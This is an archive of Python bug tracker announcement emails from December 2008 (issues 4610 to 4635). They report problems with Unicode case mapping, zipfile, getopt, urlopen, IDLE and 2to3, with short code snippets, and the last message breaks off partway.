Python 3.0rc1 (r30rc1:66499, Oct 10 2008, 02:33:36) 
[GCC 4.0.1 (Apple Inc. build 5488)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> x='?'
>>> print(x, x.upper())
? ?

This conversion is correct as defined in UnicodeData.txt however
http://unicode.org/Public/UNIDATA/SpecialCasing.txt defines a more
complete set of case conversions.

According to this file "?".upper() should be "SS". Presumably Python
simply isn't using this file to create it's mapping database.

----------
components: Unicode
messages: 77417
nosy: alexs
severity: normal
status: open
title: Unicode case mappings are incorrect
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4610>
_______________________________________

From report at bugs.python.org  Tue Dec  9 16:35:51 2008
From: report at bugs.python.org (=?utf-8?q?Kuba_Ko=C5=84czyk?=)
Date: Tue, 09 Dec 2008 15:35:51 +0000
Subject: [New-bugs-announce] [issue4611] Small error in "Extending Python
	with C or C++"
In-Reply-To: <1228836951.42.0.539810823139.issue4611@psf.upfronthosting.co.za>
Message-ID: <1228836951.42.0.539810823139.issue4611@psf.upfronthosting.co.za>


New submission from Kuba Ko?czyk <jakamkon at users.sourceforge.net>:

Near the end of "Reference Counting in Python" section we have:
"(...)The disadvantage of borrowing over leaking is(...)", "leaking"
should be replaced by "borrowing".

----------
assignee: georg.brandl
components: Documentation
messages: 77425
nosy: georg.brandl, jakamkon
severity: normal
status: open
title: Small error in "Extending Python with C or C++"
versions: Python 2.6, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4611>
_______________________________________

From report at bugs.python.org  Tue Dec  9 16:41:10 2008
From: report at bugs.python.org (blake madden)
Date: Tue, 09 Dec 2008 15:41:10 +0000
Subject: [New-bugs-announce] [issue4612] PyModule_Create() doesn't
	add/import module
In-Reply-To: <1228837270.55.0.51426262697.issue4612@psf.upfronthosting.co.za>
Message-ID: <1228837270.55.0.51426262697.issue4612@psf.upfronthosting.co.za>


New submission from blake madden <madden_blake at yahoo.com>:

In reference to Issue4592 (which includes a patch),
PyModule_Create()calls PyModule_New instead of PyImport_AddModule. 
Because of this, calling PyModule_Create() won't work like Py_InitModule().

Is this correct, because the documentation is showing that
PyModule_Create() is all you need to use to create and add a module to
the system.  However, this is not the case.

----------
components: Extension Modules
messages: 77428
nosy: blakemadden
severity: normal
status: open
title: PyModule_Create() doesn't add/import module
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4612>
_______________________________________

From report at bugs.python.org  Tue Dec  9 20:36:06 2008
From: report at bugs.python.org (Albert Hopkins)
Date: Tue, 09 Dec 2008 19:36:06 +0000
Subject: [New-bugs-announce] [issue4613] Can't figure out where SyntaxError:
	can not delete variable 'x' referenced in nested scope us
	coming from in python shows no traceback
In-Reply-To: <1228851366.47.0.778416460497.issue4613@psf.upfronthosting.co.za>
Message-ID: <1228851366.47.0.778416460497.issue4613@psf.upfronthosting.co.za>


New submission from Albert Hopkins <marduk at python.net>:

Say I have module foo.py:

        def a(x):
           def b():
               x
           del x
        
If I run foo.py under Python 2.4.4 I get:

          File "foo.py", line 4
            del x
        SyntaxError: can not delete variable 'x' referenced in nested
        scope

Under Python 2.6 and Python 3.0 I get:

        SyntaxError: can not delete variable 'x' referenced in nested
        scope


The difference is under Python 2.4 I get a traceback with the lineno and
offending line, but I do not get a traceback in Pythons 2.6 and 3.0.

This also kinda relates to the 2to3 tool.  See:

http://groups.google.com/group/comp.lang.python/browse_frm/thread/a6600c80f8c3c60c/4d804532ea09aae7

----------
components: Interpreter Core
messages: 77443
nosy: marduk
severity: normal
status: open
title: Can't figure out where SyntaxError: can not delete variable 'x' referenced in nested scope us coming from in python shows no traceback
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4613>
_______________________________________

From report at bugs.python.org  Tue Dec  9 22:06:47 2008
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 09 Dec 2008 21:06:47 +0000
Subject: [New-bugs-announce] [issue4614] Document PyModule_Create()
In-Reply-To: <1228856807.3.0.093975807386.issue4614@psf.upfronthosting.co.za>
Message-ID: <1228856807.3.0.093975807386.issue4614@psf.upfronthosting.co.za>


New submission from Brett Cannon <brett at python.org>:

PyModule_Create() is not documented (or at least it isn't showing up in
the C API index). Might be other parts of the new module initialization
API that are not documented either.

----------
assignee: georg.brandl
components: Documentation
messages: 77454
nosy: brett.cannon, georg.brandl
severity: normal
stage: needs patch
status: open
title: Document PyModule_Create()
type: behavior
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4614>
_______________________________________

From report at bugs.python.org  Wed Dec 10 03:47:59 2008
From: report at bugs.python.org (Tom Pinckney)
Date: Wed, 10 Dec 2008 02:47:59 +0000
Subject: [New-bugs-announce] [issue4615] de-duping function in itertools
In-Reply-To: <1228877279.97.0.446063330744.issue4615@psf.upfronthosting.co.za>
Message-ID: <1228877279.97.0.446063330744.issue4615@psf.upfronthosting.co.za>


New submission from Tom Pinckney <thomaspinckney3 at gmail.com>:

Any interest in an itertools de-duping function? I find I have to write 
this over and over for different projects:

def deduped(iter,key=None):
    keys = set()
    for x in iter:
        if key:
            k = key(x)
        else:
            k = x
        if k in keys:
            continue
        keys.add(k)
        yield(x)

----------
components: Library (Lib)
messages: 77477
nosy: thomaspinckney3
severity: normal
status: open
title: de-duping function in itertools
type: feature request
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4615>
_______________________________________

From report at bugs.python.org  Wed Dec 10 08:11:20 2008
From: report at bugs.python.org (=?utf-8?q?Horv=C3=A1th_Istv=C3=A1n_R=C3=B3bert?=)
Date: Wed, 10 Dec 2008 07:11:20 +0000
Subject: [New-bugs-announce] [issue4616] tarfile does not set the creation
	date and time of the extracted directories
In-Reply-To: <1228893080.8.0.892748294053.issue4616@psf.upfronthosting.co.za>
Message-ID: <1228893080.8.0.892748294053.issue4616@psf.upfronthosting.co.za>


New submission from Horv?th Istv?n R?bert <throbi at gmail.com>:

tarfile does not set the creation date and time of the extracted
directories, all extracted directories will get the date and time of the
extraction, although in the source archive (created by tarfile) the
creation date and time is stored for directories, too.

----------
components: Windows
messages: 77485
nosy: throbi
severity: normal
status: open
title: tarfile does not set the creation date and time of the extracted directories
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4616>
_______________________________________

From report at bugs.python.org  Wed Dec 10 13:18:43 2008
From: report at bugs.python.org (Amaury Forgeot d'Arc)
Date: Wed, 10 Dec 2008 12:18:43 +0000
Subject: [New-bugs-announce] [issue4617] SyntaxError when free variable name
	is also an exception target
In-Reply-To: <1228911523.24.0.570670634565.issue4617@psf.upfronthosting.co.za>
Message-ID: <1228911523.24.0.570670634565.issue4617@psf.upfronthosting.co.za>


New submission from Amaury Forgeot d'Arc <amauryfa at gmail.com>:

This issue comes from issue4613. The following code raises a
SyntaxError("can not delete variable 'e' referenced in nested scope"):

def f():
    e = None
    def g():
        e

    try:
        pass
    except Exception as e:
        pass # SyntaxError here???

The reason is because of
http://www.python.org/dev/peps/pep-3110/#semantic-changes, a "del e"
statement is inserted.

The above code is correct, and should work.
I suggest that the limitation: "can not delete variable referenced in
nested scope" could be removed. 

After all, the "variable referenced" has no value before it is set,
accessing it raises either NameError("free variable referenced before
assignment in enclosing scope") or UnboundLocalError("local variable
referenced before assignment")

The Attached patch adds a DELETE_DEREF opcode, that removes the value of
a cell variable, and put it in a "before assignment" state.

Some compiler experts should review it. Few regressions are possible,
since the new opcode is emitted where a SyntaxError was previously
raised. The patch could also be applied to 2.7, even if it is less
critical there.

Tests are to come, but I'd like other's suggestions.

----------
files: delete_deref.patch
keywords: needs review, patch
messages: 77536
nosy: amaury.forgeotdarc
priority: release blocker
severity: normal
status: open
title: SyntaxError when free variable name is also an exception target
versions: Python 2.7, Python 3.0
Added file: http://bugs.python.org/file12318/delete_deref.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4617>
_______________________________________

From report at bugs.python.org  Wed Dec 10 14:19:06 2008
From: report at bugs.python.org (Jean-Paul Calderone)
Date: Wed, 10 Dec 2008 13:19:06 +0000
Subject: [New-bugs-announce] [issue4618] print_function and unicode_literals
	don't work together
In-Reply-To: <1228915146.01.0.235938679842.issue4618@psf.upfronthosting.co.za>
Message-ID: <1228915146.01.0.235938679842.issue4618@psf.upfronthosting.co.za>


New submission from Jean-Paul Calderone <exarkun at divmod.com>:

Consider:

exarkun at charm:~$ ~/Projects/python/branches/release26-maint/python 
Python 2.6+ (trunk:66997, Oct 23 2008, 16:02:09) 
[GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> def f(o):
...     print type(o)
... 
>>> f('foo')
<type 'str'>
>>> from __future__ import unicode_literals
>>> f('foo')
<type 'unicode'>
>>> from __future__ import print_function
>>> print('foo')
foo
>>> from io import StringIO
>>> print('foo', file=StringIO())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/io.py", line
1487, in write
    s.__class__.__name__)
TypeError: can't write str to text stream
>>> StringIO().write('foo')
3
>>> StringIO().write(b'foo')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File
"/home/exarkun/Projects/python/branches/release26-maint/Lib/io.py", line
1487, in write
    s.__class__.__name__)
TypeError: can't write str to text stream
>>>

It seems the type of a literal string is `str? when it is an argument to
the print function, even with the unicode_literals future import in effect.

----------
components: Interpreter Core
messages: 77539
nosy: exarkun
severity: normal
status: open
title: print_function and unicode_literals don't work together
versions: Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4618>
_______________________________________

From report at bugs.python.org  Wed Dec 10 14:55:37 2008
From: report at bugs.python.org (Robert Hunger)
Date: Wed, 10 Dec 2008 13:55:37 +0000
Subject: [New-bugs-announce] [issue4619] Invalid Behaviour When a Default
	Argument is a Mutable Object
In-Reply-To: <1228917337.28.0.113210090786.issue4619@psf.upfronthosting.co.za>
Message-ID: <1228917337.28.0.113210090786.issue4619@psf.upfronthosting.co.za>


New submission from Robert Hunger <rhunger at gmx.ch>:

Reopening of issue 4181.

Evaluating default parameter values when the function definition is
executed is a design bug.

Even the documentation of this behaviour (see
http://docs.python.org/reference/compound_stmts.html#index-754) makes
this clear by stating: "This is generally not what was intended." It
then makes a suggestion for a workaround ("A way around this ..."). Only
bugs need workarounds.

An interface or behaviour should fulfil a users expectation for the
"normal" case, not for some "special" case. For a default parameter
value a user expects that whenever this function gets called a new
instance of a mutable object is created. This is much closer to the
current behaviour for non-mutable objects.

Usage cases for the current default behaviour are less common.

----------
components: Interpreter Core
messages: 77541
nosy: Pasha2009, christian.heimes, rhr
severity: normal
status: open
title: Invalid Behaviour When a Default Argument is a Mutable Object
type: behavior
versions: Python 2.4, Python 2.5, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4619>
_______________________________________

From report at bugs.python.org  Wed Dec 10 15:40:58 2008
From: report at bugs.python.org (BEGUE)
Date: Wed, 10 Dec 2008 14:40:58 +0000
Subject: [New-bugs-announce] [issue4620] Memory leak with datetime used with
	time.strptime
In-Reply-To: <1228920058.35.0.378703263737.issue4620@psf.upfronthosting.co.za>
Message-ID: <1228920058.35.0.378703263737.issue4620@psf.upfronthosting.co.za>


New submission from BEGUE <seb.begue at gmail.com>:

When I use the following line in my process (my process run these line
each 10 seconds), memory size increases progressively :
myDate = datetime.datetime(*(time.strptime(dateString,
"%Y-%m-%dT%H:%M:%S")[0:6]))

the '*' operator unpacks the tuple, producing the argument list for
datetime.datetime but it seems that the structure return by
time.strptime is not correctly flushed in memory.

----------
components: None
messages: 77543
nosy: sebegue
severity: normal
status: open
title: Memory leak with datetime used with time.strptime
type: resource usage
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4620>
_______________________________________

From report at bugs.python.org  Wed Dec 10 17:27:47 2008
From: report at bugs.python.org (Francesco Ricciardi)
Date: Wed, 10 Dec 2008 16:27:47 +0000
Subject: [New-bugs-announce] [issue4621] zipfile returns string but expects
	binary
In-Reply-To: <1228926467.09.0.231688302794.issue4621@psf.upfronthosting.co.za>
Message-ID: <1228926467.09.0.231688302794.issue4621@psf.upfronthosting.co.za>


New submission from Francesco Ricciardi <francesco.ricciardi at hp.com>:

Each entry of a zip file, as read by the zipfile module, can be accessed
via a ZipInfo object. The filename attribute of ZipInfo is a string.
However, the read method of a ZipFile object expects a binary as
argument, or at least this is what I can deduct from the following behavior:

>>> import zipfile
>>> testzip = zipfile.ZipFile('test.zip')
>>> t1 = testzip.infolist()[0]
>>> t1.filename
't?st.xml'
>>> data = testzip.read(testzip.infolist()[0])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python30\lib\zipfile.py", line 843, in read
    return self.open(name, "r", pwd).read()
  File "C:\Python30\lib\zipfile.py", line 883, in open
    % (zinfo.orig_filename, fname))
zipfile.BadZipfile: File name in directory 't?st.xml' and header
b't\x82st.xml' differ.

The test.zip file is attached as help in reproducing this error.

----------
components: Library (Lib)
files: test.zip
messages: 77555
nosy: francescor
severity: normal
status: open
title: zipfile returns string but expects binary
type: behavior
versions: Python 3.0
Added file: http://bugs.python.org/file12319/test.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4621>
_______________________________________

From report at bugs.python.org  Wed Dec 10 18:20:54 2008
From: report at bugs.python.org (eliben)
Date: Wed, 10 Dec 2008 17:20:54 +0000
Subject: [New-bugs-announce] [issue4622] SequenceMatcher bug with long
	sequences
In-Reply-To: <1228929654.94.0.843066747309.issue4622@psf.upfronthosting.co.za>
Message-ID: <1228929654.94.0.843066747309.issue4622@psf.upfronthosting.co.za>


New submission from eliben <eliben at gmail.com>:

Here's a reproduction of the error:

Python 2.5.2 (r252:60911, Oct 20 2008, 09:11:31)
[GCC 3.4.6 20060404 (Red Hat 3.4.6-10)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import difflib
>>>
>>> difflib.SequenceMatcher(None, [4] + [5] * 200, [5] * 200).ratio()
0.0

ratio() should be returning close to 1.0 here, not 0. This is only a
problem for sequences longer than 200. The analogous run for 100:

>>> difflib.SequenceMatcher(None, [4] + [5] * 100, [5] * 100).ratio()
0.99502487562189057
>>>


I've managed to reproduce it on Linux, Windows (AS 2.5.2) and Try Python
(http://try-python.mired.org/)

----------
components: Library (Lib)
messages: 77559
nosy: eliben
severity: normal
status: open
title: SequenceMatcher bug with long sequences
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4622>
_______________________________________

From report at bugs.python.org  Thu Dec 11 03:07:04 2008
From: report at bugs.python.org (bianpeng)
Date: Thu, 11 Dec 2008 02:07:04 +0000
Subject: [New-bugs-announce] [issue4623] IDLE shutdown if I run an edited
	file contains chinese
In-Reply-To: <1228961224.5.0.652279598263.issue4623@psf.upfronthosting.co.za>
Message-ID: <1228961224.5.0.652279598263.issue4623@psf.upfronthosting.co.za>


New submission from bianpeng <tianpmoon at gmail.com>:

I use IDLE edit an script, if the script contains chinese,
IDLE crashed if run the script.

I put chinese character in commoent or string, and both get the same result.

----------
components: IDLE
files: test.py
messages: 77583
nosy: bianpeng
severity: normal
status: open
title: IDLE shutdown if I run an edited file contains chinese
type: crash
versions: Python 3.0
Added file: http://bugs.python.org/file12324/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4623>
_______________________________________

From report at bugs.python.org  Thu Dec 11 03:45:14 2008
From: report at bugs.python.org (X Xiao)
Date: Thu, 11 Dec 2008 02:45:14 +0000
Subject: [New-bugs-announce] [issue4624] Can not import readline on
	python3.0 (ubuntu 8.04)
In-Reply-To: <1228963514.87.0.500617550743.issue4624@psf.upfronthosting.co.za>
Message-ID: <1228963514.87.0.500617550743.issue4624@psf.upfronthosting.co.za>


New submission from X Xiao <austinxxh-linux at yahoo.com>:

I can "import readline" just fine on AMD64 ubuntu 8.04 under python3.0,
however on 32-bit ubuntu 8.04 I could not "import readline" for
python3.0. It says 
"import readline
ImportError: No module named readline". I made sure both ubuntu machines
have readline installed correctly, python2.x runs well and can import
readline without any issues.

----------
components: Installation
messages: 77585
nosy: xxiao
severity: normal
status: open
title: Can not import readline on python3.0 (ubuntu 8.04)
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4624>
_______________________________________

From report at bugs.python.org  Thu Dec 11 04:30:22 2008
From: report at bugs.python.org (Sophia K. Cheng)
Date: Thu, 11 Dec 2008 03:30:22 +0000
Subject: [New-bugs-announce] [issue4625] IDLE won't open anymore,
	.idlerc unaccessible
In-Reply-To: <1228966222.3.0.407670135818.issue4625@psf.upfronthosting.co.za>
Message-ID: <1228966222.3.0.407670135818.issue4625@psf.upfronthosting.co.za>


New submission from Sophia K. Cheng <sophia.cheng at gmail.com>:

Hello,

I was able to run IDLE once or twice on my laptop.  Then I downloaded
kiki and tried to run it but had forgotten to install wxPython.  After
that, IDLE no longer opens although the command prompt does still work.
 I get the following error:

C:\Python25>python.exe Lib\idlelib\idle.py
Traceback (most recent call last):
  File "Lib\idlelib\idle.py", line 21, in <module>
    idlelib.PyShell.main()
  File "C:\Python25\lib\idlelib\PyShell.py", line 1404, in main
    shell = flist.open_shell()
  File "C:\Python25\lib\idlelib\PyShell.py", line 275, in open_shell
    self.pyshell = PyShell(self)
  File "C:\Python25\lib\idlelib\PyShell.py", line 813, in __init__
    OutputWindow.__init__(self, flist, None, None)
  File "C:\Python25\lib\idlelib\OutputWindow.py", line 16, in __init__
    EditorWindow.__init__(self, *args)
  File "C:\Python25\lib\idlelib\EditorWindow.py", line 248, in __init__
    self.update_recent_files_list()
  File "C:\Python25\lib\idlelib\EditorWindow.py", line 715, in
update_recent_fil
es_list
    rf_file = open(self.recent_files_path, 'w')
IOError: [Errno 13] Permission denied: 'C:\\Documents and
Settings\\skcheng\\.id
lerc\\recent-files.lst'

I've tried uninstalling and reinstalling several times 2.5 and also 2.6.
 When I look at the folder .idlerc in windows explorer, I get an error
each time I click on it that access is denied, even though I am running
as administrator on my laptop. I have tried uninstalling Python and
deleting the .idlerc folder.  I have also tried manually unchecking the
read-only property for the folder. I have a Lenovo T400 that is built
for Windows Vista, but am running Windows XP.  Thank you.

----------
components: IDLE
messages: 77588
nosy: skcheng
severity: normal
status: open
title: IDLE won't open anymore, .idlerc unaccessible
versions: Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4625>
_______________________________________

From report at bugs.python.org  Thu Dec 11 07:19:17 2008
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 11 Dec 2008 06:19:17 +0000
Subject: [New-bugs-announce] [issue4626] compile() doesn't ignore the source
	encoding when a string is passed in
In-Reply-To: <1228976357.63.0.133847904092.issue4626@psf.upfronthosting.co.za>
Message-ID: <1228976357.63.0.133847904092.issue4626@psf.upfronthosting.co.za>


New submission from Brett Cannon <brett at python.org>:

When compile() is called with a string it is a reasonable assumption
that it has already been decoded. But this is not in fact the case and
leads to errors when trying to use non-ASCII identifiers::

 >>> source = "# coding=latin-1\n\u00c6 = '\u00c6'"
 >>> compile(source, '<test>', 'exec')
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<test>", line 2
     ?? = '??'
        ^
 SyntaxError: invalid character in identifier
 >>> compile(source.encode('latin-1'), '<test>', 'exec')
 <code object <module> at 0x389cc8, file "<test>", line 2>

----------
components: Interpreter Core
messages: 77590
nosy: brett.cannon
severity: normal
stage: needs patch
status: open
title: compile() doesn't ignore the source encoding when a string is passed in
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4626>
_______________________________________

From report at bugs.python.org  Thu Dec 11 07:27:00 2008
From: report at bugs.python.org (Carl Johnson)
Date: Thu, 11 Dec 2008 06:27:00 +0000
Subject: [New-bugs-announce] [issue4627] Add Mac OS X Disk Images to
	Python.org homepage
In-Reply-To: <1228976820.57.0.597865739752.issue4627@psf.upfronthosting.co.za>
Message-ID: <1228976820.57.0.597865739752.issue4627@psf.upfronthosting.co.za>


New submission from Carl Johnson <carl at carlsensei.com>:

As recently as Python 2.6.0's release, Python.org had a link to download a 
disk image with a special newb-friendly installer for OS X. See http://www.python.org/download/releases/2.6/

Now, it's gone in Python 2.6.1, and it was never there for Python 3.0. 
Which is a pain, because it's really hard to get "readlines" to install 
just using config/make/install. 

So, whoever is in charge of making that disk image should make it again.

----------
components: Macintosh
messages: 77591
nosy: carlj
severity: normal
status: open
title: Add Mac OS X Disk Images to Python.org homepage
type: compile error
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4627>
_______________________________________

From report at bugs.python.org  Thu Dec 11 07:54:07 2008
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 11 Dec 2008 06:54:07 +0000
Subject: [New-bugs-announce] [issue4628] No universal newline support for
	compile() when using bytes
In-Reply-To: <1228978447.23.0.301216613627.issue4628@psf.upfronthosting.co.za>
Message-ID: <1228978447.23.0.301216613627.issue4628@psf.upfronthosting.co.za>


New submission from Brett Cannon <brett at python.org>:

Passing in bytes to compile() works well for letting the parser handle
the decoding of a file when an encoding is specified, but it doesn't
take care of universal newlines::

 >>> source = b'a = 1\r\nb = 2\r\n'
 >>> compile(source, '<test>', 'exec')
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<test>", line 1
     a = 1
         ^
 SyntaxError: invalid syntax

----------
components: Interpreter Core
messages: 77596
nosy: brett.cannon
severity: normal
stage: needs patch
status: open
title: No universal newline support for compile() when using bytes
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4628>
_______________________________________

From report at bugs.python.org  Thu Dec 11 07:54:18 2008
From: report at bugs.python.org (Wang Chun)
Date: Thu, 11 Dec 2008 06:54:18 +0000
Subject: [New-bugs-announce] [issue4629] getopt should not accept
	no_argument that ends with '='
In-Reply-To: <1228978458.01.0.0804138423997.issue4629@psf.upfronthosting.co.za>
Message-ID: <1228978458.01.0.0804138423997.issue4629@psf.upfronthosting.co.za>


New submission from Wang Chun <yaohua2000 at gmail.com>:

Consider the following program tmp.py:

import sys, getopt
print(getopt.getopt(sys.argv[1:], '', ['help']))

The program accept "--help" without a value:

python helloworld.py --help

But if someone invoke the program like:

python helloworld.py --help=

Python should raise an error.

"--help=" is not considered as no_argument in libc's getopt implementation (tested on Mac OS X 
Leopard):

#include <getopt.h>

static struct option longopts[] = { 
        { "help", no_argument, NULL, "h" },
};

#include <getopt.h>

static struct option longopts[] = { 
        { "help", no_argument, NULL, 'h' },
};

int main(int argc, char **argv)
{
        while (getopt_long(argc, argv, "h", longopts, NULL) != -1);
        return 0;
}

macbook:~/tmp$ gcc -o tmp tmp.c
macbook:~/tmp$ ./tmp --help=
tmp: option `--help' doesn't allow an argument
macbook:~/tmp$

----------
components: Library (Lib)
messages: 77597
nosy: wangchun
severity: normal
status: open
title: getopt should not accept no_argument that ends with '='
type: behavior
versions: Python 2.1.1, Python 2.1.2, Python 2.2, Python 2.2.1, Python 2.2.2, Python 2.2.3, Python 2.3, Python 2.4, Python 2.5, Python 2.5.3, Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4629>
_______________________________________

From report at bugs.python.org  Thu Dec 11 09:05:54 2008
From: report at bugs.python.org (Mark Summerfield)
Date: Thu, 11 Dec 2008 08:05:54 +0000
Subject: [New-bugs-announce] [issue4630] IDLE no longer respects .Xdefaults
	insertOffTime
In-Reply-To: <1228982754.08.0.523311497339.issue4630@psf.upfronthosting.co.za>
Message-ID: <1228982754.08.0.523311497339.issue4630@psf.upfronthosting.co.za>


New submission from Mark Summerfield <mark at qtrac.eu>:

IDLE's cursor blinks with Python 3.0 on Linux.

But it shouldn't (and doesn't for prior versions) because in my
.Xdefaults file I have the line:
*insertOffTime: 0

Now I have to manually edit idlelib/EditorWindow.py to stop the cursor
from blinking.
(I also have to do this on Windows because IDLE ignores the blink rate
set in the control panel.)

I am one of a minority of people who cannot work with blinking cursors.
I hope that at the least IDLE will get an option to switch it off.

----------
components: IDLE
messages: 77598
nosy: mark
severity: normal
status: open
title: IDLE no longer respects .Xdefaults insertOffTime
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4630>
_______________________________________

From report at bugs.python.org  Thu Dec 11 12:23:02 2008
From: report at bugs.python.org (=?utf-8?q?Adeodato_Sim=C3=B3?=)
Date: Thu, 11 Dec 2008 11:23:02 +0000
Subject: [New-bugs-announce] [issue4631] urlopen returns extra,
	spurious bytes
In-Reply-To: <1228994582.88.0.234313374656.issue4631@psf.upfronthosting.co.za>
Message-ID: <1228994582.88.0.234313374656.issue4631@psf.upfronthosting.co.za>


New submission from Adeodato Sim? <dato at net.com.org.es>:

This is very odd, but it was reproduced by people in #python as well. 
Compare, in python 2.5:

>>> 
urllib.urlopen('http://bugs.debian.org/cgi-bin/bugreport.cgi?mbox=yes;bug=123456').readline()
'From mechanix at lucretia.debian.net Tue Dec 11 11:32:47 2001\n'

To the equivalent in python 3.0:

>>> 
urllib.request.urlopen('http://bugs.debian.org/cgi-bin/bugreport.cgi?mbox=yes;bug=123456').readline()
b'f65\r\n'

----------
components: Library (Lib)
messages: 77603
nosy: dato
severity: normal
status: open
title: urlopen returns extra, spurious bytes
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4631>
_______________________________________

From report at bugs.python.org  Thu Dec 11 13:01:57 2008
From: report at bugs.python.org (Thomas Heller)
Date: Thu, 11 Dec 2008 12:01:57 +0000
Subject: [New-bugs-announce] [issue4632] Wrong fix for range(42)[::-1]
In-Reply-To: <1228996917.04.0.00625258581856.issue4632@psf.upfronthosting.co.za>
Message-ID: <1228996917.04.0.00625258581856.issue4632@psf.upfronthosting.co.za>


New submission from Thomas Heller <theller at ctypes.org>:

The 2to3 fixer translates this code:
    range(42)[::-1]
into this one:
    list(range(42)[::-1]
which throws an error when run with Python 3:

Traceback (most recent call last):
  File "test.py", line 1, in <module>
    print(list(range(42)[::-1]))
TypeError: sequence index must be integer, not 'slice'

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 77604
nosy: theller
severity: normal
status: open
title: Wrong fix for range(42)[::-1]

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4632>
_______________________________________

From report at bugs.python.org  Thu Dec 11 16:31:17 2008
From: report at bugs.python.org (Yavuz Onder)
Date: Thu, 11 Dec 2008 15:31:17 +0000
Subject: [New-bugs-announce] [issue4633] file.tell() gives wrong result
In-Reply-To: <1229009477.19.0.97866751034.issue4633@psf.upfronthosting.co.za>
Message-ID: <1229009477.19.0.97866751034.issue4633@psf.upfronthosting.co.za>


New submission from Yavuz Onder <yavuz at teksavvy.com>:

I find that file.tell returns not the byte offset of the next byte, but
possibly the byte offset of the next block to be read. I find it always
to be a multiple of 1024. Following is a demo of the bug. where I read a
 few lines into a text file, step back by the length of the last read
line, read again, and do not find the same data. What is returned is the
tail part of a line way down  in the file. I woeked around by keeping
track of the file pointer, and seek worked fine. tell() is at fault.
----------demonstration on a text file
Python 2.5.1 (r251:54863, Nov 14 2007, 16:00:54) 
[GCC 3.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> jf=open('junk','r')
>>> line=jf.next()
>>> line
'\n'
>>> line=jf.next()
>>> line
'See COPYING file in the same directory as this one for license.\n'
>>> line=jf.next()
>>> line
'\n'
>>> line=jf.next()
>>> line
'Thank you for trying this utility. I had great fun putting it\n'
>>> line=jf.next()
>>> line
'together, and I hope users will find it useful.\n'
>>> jf.seek(len(line),1)
>>> line=jf.next()
>>> line
'gle says Maps will not work without it. file:// URLs are \n'

----------
components: None
messages: 77617
nosy: yavuz164
severity: normal
status: open
title: file.tell() gives wrong result
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4633>
_______________________________________

From report at bugs.python.org  Thu Dec 11 16:47:21 2008
From: report at bugs.python.org (Lino Mastrodomenico)
Date: Thu, 11 Dec 2008 15:47:21 +0000
Subject: [New-bugs-announce] [issue4634] 2to3 should fix "import HTMLParser"
In-Reply-To: <1229010441.99.0.194542520583.issue4634@psf.upfronthosting.co.za>
Message-ID: <1229010441.99.0.194542520583.issue4634@psf.upfronthosting.co.za>


New submission from Lino Mastrodomenico <l.mastrodomenico at gmail.com>:

This should be easy: 2to3 must convert "import HTMLParser" to "import
html.parser".

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 77618
nosy: mastrodomenico
severity: normal
status: open
title: 2to3 should fix "import HTMLParser"
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4634>
_______________________________________

From report at bugs.python.org  Thu Dec 11 18:25:49 2008
From: report at bugs.python.org (anatoly techtonik)
Date: Thu, 11 Dec 2008 17:25:49 +0000
Subject: [New-bugs-announce] [issue4635] no reference for optparse methods
In-Reply-To: <1229016349.77.0.360903812636.issue4635@psf.upfronthosting.co.za>
Message-ID: <1229016349.77.0.360903812636.issue4635@psf.upfronthosting.co.za>


New submission from anatoly techtonik <techtonik at gmail.com>:

optparse documentation misses reference for at least these three methods:

print_help()
print_usage()
print_version()

----------
assignee: georg.brandl
components: Documentation
messages: 77622
